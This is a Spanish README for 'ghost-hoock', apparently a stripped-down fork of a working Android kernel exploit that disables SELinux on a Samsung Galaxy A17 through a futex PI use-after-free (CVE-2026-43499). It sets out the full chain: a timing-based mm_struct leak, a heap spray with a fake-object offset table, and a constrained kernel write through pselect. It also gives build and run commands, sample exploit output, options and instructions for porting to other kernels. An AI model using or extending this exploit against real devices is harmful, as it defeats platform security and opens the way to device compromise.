
GhostLock reducido a una sola primitiva: SELinux desactivado en Galaxy A17 (BZA5) mediante futex PI UAF (CVE-2026-43499). Sin root, sin parche de credenciales, sin rwforge.
Un fork mínimo de GhostLock que conserva solo una primitiva: desactivar SELinux mediante CVE-2026-43499 (futex PI UAF).
ghost-hoock es un fork reducido del exploit GhostLock de Mobile Hacking Lab, reducido a una única primitiva:
Una escritura restringida mediante futex PI UAF ->
selinux_enforcing = 0.
Sin root, sin sobrescritura de cred, sin canal rwforge, sin UMH, sin configfs. Solo lo mínimo necesario para poner SELinux en modo permisivo en el kernel vulnerable.
Salida de ejemplo en un Samsung Galaxy A17 (SM-A175F, BZA5):
[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)
Luego:
$ getenforce
Permissive
getenforce devuelve Permissive
El exploit ataca CVE-2026-43499 — un use-after-free en la cadena rt_mutex de PI (Priority Inheritance) de futex del kernel de Linux. La cadena en ghost-hoock consta de cuatro pasos:
Canal lateral de temporización contra la tabla hash de futex del kernel. Martilleamos FUTEX_WAKE_PRIVATE sobre un conjunto de futexes en espacio de usuario, medimos los deltas de rdtsc y correlacionamos las colisiones de buckets del hash. Esto recupera la dirección de nuestro propio mm_struct — la base de la página de spray que necesitaremos después.
Esta es la técnica KernelSnitch, tomada tal cual del exploit original.
Asignamos una página slab grande de order-3 y luego la disponemos con el diseño de objetos falsos usado por la ruta PI:
Tres hilos:
FUTEX_WAIT_REQUEUE_PI sobre f_wait, apuntando a f_pi_target.FUTEX_LOCK_PI sobre f_pi_target y luego sobre f_pi_chain.sched_setattr(tid, SCHED_BATCH, nice=19) sobre el TID del waiter, lo que dispara rt_mutex_setprio() y fuerza al kernel a recorrer el árbol PI falso.Una cuarta llamada desde el hilo principal — FUTEX_CMP_REQUEUE_PI(1, f_pi_target) — inicia el requeue. Dentro del kernel, rb_erase() se ejecuta contra nuestro árbol falso.
pselect() / select() copia el fd_set del usuario en la pila del kernel y luego lo recorre. Disponemos los bitmaps del fd_set de modo que las palabras que el kernel trata como punteros del rb-tree aterricen en fake_right y su padre — y el rb_set_parent(child, parent) resultante se convierte en:
*(uint64_t *)target = value | color
Para mode = 1 (Write 1), target = selinux_enforcing y value = base + 0x100, que se codifica como byte0 = 0, byte1 = 1. El kernel escribe 0 en selinux_enforcing[0] — SELinux ahora es permisivo.
Este es un fork de mobilehackinglab/ghostlock-a17 (MIT). Lo siguiente se toma 1:1 del exploit upstream:
El código auxiliar (macros pr_*, SYSCHK, pin_to_core, set_limit, set_unbuffer) también se conserva tal cual del original.
El GhostLock original logra root completo en el A17: instala un canal físico de lectura/escritura rwforge, parchea cred / real_cred, ejecuta un helper UMH con credenciales de init, captura logs y más. En ghost-hoock, todo lo que va más allá de la primera escritura restringida ha desaparecido.
El GhostLock original sigue siendo más completo y potente que este fork. ghost-hoock no es un reemplazo — es un PoC mínimo para una tarea concreta: desactivar SELinux.
Requiere clang y make en $PATH. Probado en Termux; también funciona vía adb shell si el toolchain está presente.
git clone https://github.com/USERNAME/ghost-hoock
cd ghost-hoock
make
Salida: ./ghost-hoock (aarch64, PIE).
Vía Android NDK (en un PC)
make NDK=/path/to/android-ndk-r26
o manualmente:
/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
-O2 -Isrc -Isrc/kernelsnitch -Iinclude \
-D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
-fPIE -pie -pthread \
src/main.c src/spray.c src/route.c -o ghost-hoock
Comprobación de compilación cruzada
file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...
# copiar el binario a algún lugar legible desde el contexto del shell
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock
# confirmar que SELinux está actualmente en enforcing
getenforce
# -> Enforcing
# ejecutar
/data/local/tmp/ghost-hoock
# verificar
getenforce
# -> Permissive
Opciones
ghost-hoock [options]
--attempts N number of W1 attempts (default: 20)
--no-drain skip slab_drain before each W1 attempt
-h, --help show help
Variables de entorno
· GHOSTLOCK_CORE — 0..N. Núcleo de CPU al que se fija el hilo consumer. Por defecto: 0. · KPHYS — 0x.... Dirección física de carga del kernel, si difiere de P0_KERNEL_PHYS_LOAD. · PREPARE_SLABS — 4..64. Número de páginas slab preparadas durante el spray. Por defecto: 32. · PSELECT_SHIFT — -14..14. Desplazamiento de palabra del fd_set. Solo para depuración. · FOPS_MAX_ATTEMPTS — 4..72. Máximo de intentos de prepare_kernel_page para el payload FOPS. · RWF_DEBUG — cualquier valor. Imprime líneas de depuración de la construcción del payload.
6.12.23-android16-5-abA175FXXS5BZD2-4k.shell (u:r:shell:s0), no desde una app.Portabilidad: otros dispositivos/kernels necesitan su propia tabla de offsets. Añade una nueva
OFFSETS_ENTRY(...)eninclude/offsets_bza5.hcon los offsets de símbolos extraídos devmlinux/kallsymspara esa compilación, y luego recompila.
page_base incorrecto o una escritura que aterrice en memoria no relacionada provocará un crash del kernel. El fork tiene menos superficie que el original (sin rwforge, sin parcheo de cred, sin UMH), por lo que es estadísticamente más seguro, pero no 100% a prueba de balas.slide = 0. No hay fuga de KASLR en este fork. Si lo portas a un kernel con KASLR habilitado, debes recuperar slide.c del original.0 en selinux_enforcing. Si necesitas root, usa el ghostlock-a17 completo.selinux_enforcing = 0). No intentes extenderlo a Write 2 o a la pipeline rwforge sin comprender profundamente la ruta PI.
ghost-hoock/
├── include/
│ ├── ghost_hoock.h # shared header, API
│ ├── offset.h # TARGET_CONFIG_H dispatcher
│ ├── offsets_bza5.h # symbol offsets (BZA5 only)
│ ├── runtime_struct_offsets.h # dynamic struct offsets (_RSO macros)
│ └── target.h # BZA5 addresses, payload layout
├── src/
│ ├── main.c # CLI, offset selection, W1 loop
│ ├── spray.c # KernelSnitch + heap spray + ashmem
│ ├── route.c # PI route + pselect constrained write
│ └── kernelsnitch/ # mm_struct leak (from upstream)
│ ├── kernelsnitch.h
│ ├── futex_hash.h
│ ├── timeutils.h
│ └── utils.h
├── docs/
│ └── img/
│ └── screenshot.jpg
├── Makefile
├── LICENSE
├── .gitignore
└── README.md
MIT — igual que el upstream ghostlock-a17. Ver LICENSE.
Este fork conserva el aviso de copyright original de mobilehackinglab (2026) y añade encima los autores del fork, según lo exigido por los términos de MIT.
El proyecto se publica estrictamente para investigación de seguridad en tu propio dispositivo. Ejecutarlo contra un dispositivo que no te pertenece es ilegal en la mayoría de jurisdicciones.
mm_struct.Built for research. Tested on a single physical device. Use at your own risk.
| Offset | Objeto | Propósito |
|---|
0x0E80 | fake_lock | rt_mutex falso |
0x0F80 | fake_fops | Tabla file_operations falsa |
0x1180 | fake_w0 | rt_mutex_waiter falso usado como árbol objetivo |
0x1240 | fake_right | Nodo derecho falso del rb-tree — de aquí proviene el valor de la escritura |
0x1260 | fake_left | Nodo izquierdo falso del rb-tree |
0x1280 | fake_task | task_struct falso |
La página completa se envía a través de un socket AF_UNIX como SKB_SEND_SIZE = 2 * ORDER3_SIZE de sendmsg, de modo que los datos del skb aterrizan en nuestra página filtrada. Luego la liberamos en un orden controlado para que nuestra página acabe en un slab parcial por CPU que podamos reclamar.
ret = 6 (en lugar del 9 por defecto) confirma que la escritura aterrizó: el consumer alcanzó el objetivo durante select(), despertándolo antes de tiempo.
| Componente | Archivo | Notas |
|---|
| KernelSnitch | src/kernelsnitch/* | Fuga de mm_struct mediante temporización del hash de futex |
| Heap spray | src/spray.c | Diseño de objetos falsos, prepare_skb_payload, prepare_kernel_page |
| Ruta PI + pselect | src/route.c | prepare_pselect_fdsets, do_pselect_fake_lock_route, consumer_thread, waiter_thread, owner_thread |
| Offsets de BZA5 | include/offsets_bza5.h | Tabla de símbolos extraída de 6.12.23-android16-5-abA175FXXS5BZD2-4k |
| Cabecera de objetivo BZA5 | include/target.h | Diseño de direcciones, offsets del payload (solo subconjunto W1) |
| Offsets de estructuras en tiempo de ejecución | include/runtime_struct_offsets.h | Macros _RSO() para campos de task_struct |
| Archivo eliminado | Por qué existía en el original |
|---|
rwforge_a17.c | Canal físico de lectura/escritura marching-forger mediante pipe_buffers |
pipe_physrw.c, pipe_reclaim.c | Reclamación de pipe-buffer -> lectura/escritura arbitraria del kernel |
root.c | Sobrescritura de cred / real_cred, instalación de su, parcheo del SID de SELinux |
umh_root.c, wq_umh_root() (en main.c) | Ejecutar un helper con credenciales de init desde un elemento de workqueue del kernel falsificado |
slide.c | Fuga de KASLR mediante oráculo boot_id — no necesario en BZA5, KASLR está desactivado |
miniadb.c | Bootstrap mediante ADB TCP |
try_cfi_stage() (en fops.c) | Etapa configfs compatible con CFI usada para iniciar la ruta de root |
run_rwforge(), run_bootid_oracle(), rwforge_root_and_capture() | Toda la pipeline de root |
install_embedded_su(), install_embedded_wallpaper() | Helpers de instalación de root |
Write 2 (cred), patch_cred_*, patch_task_seccomp | Toma de control de credenciales posterior a W1 |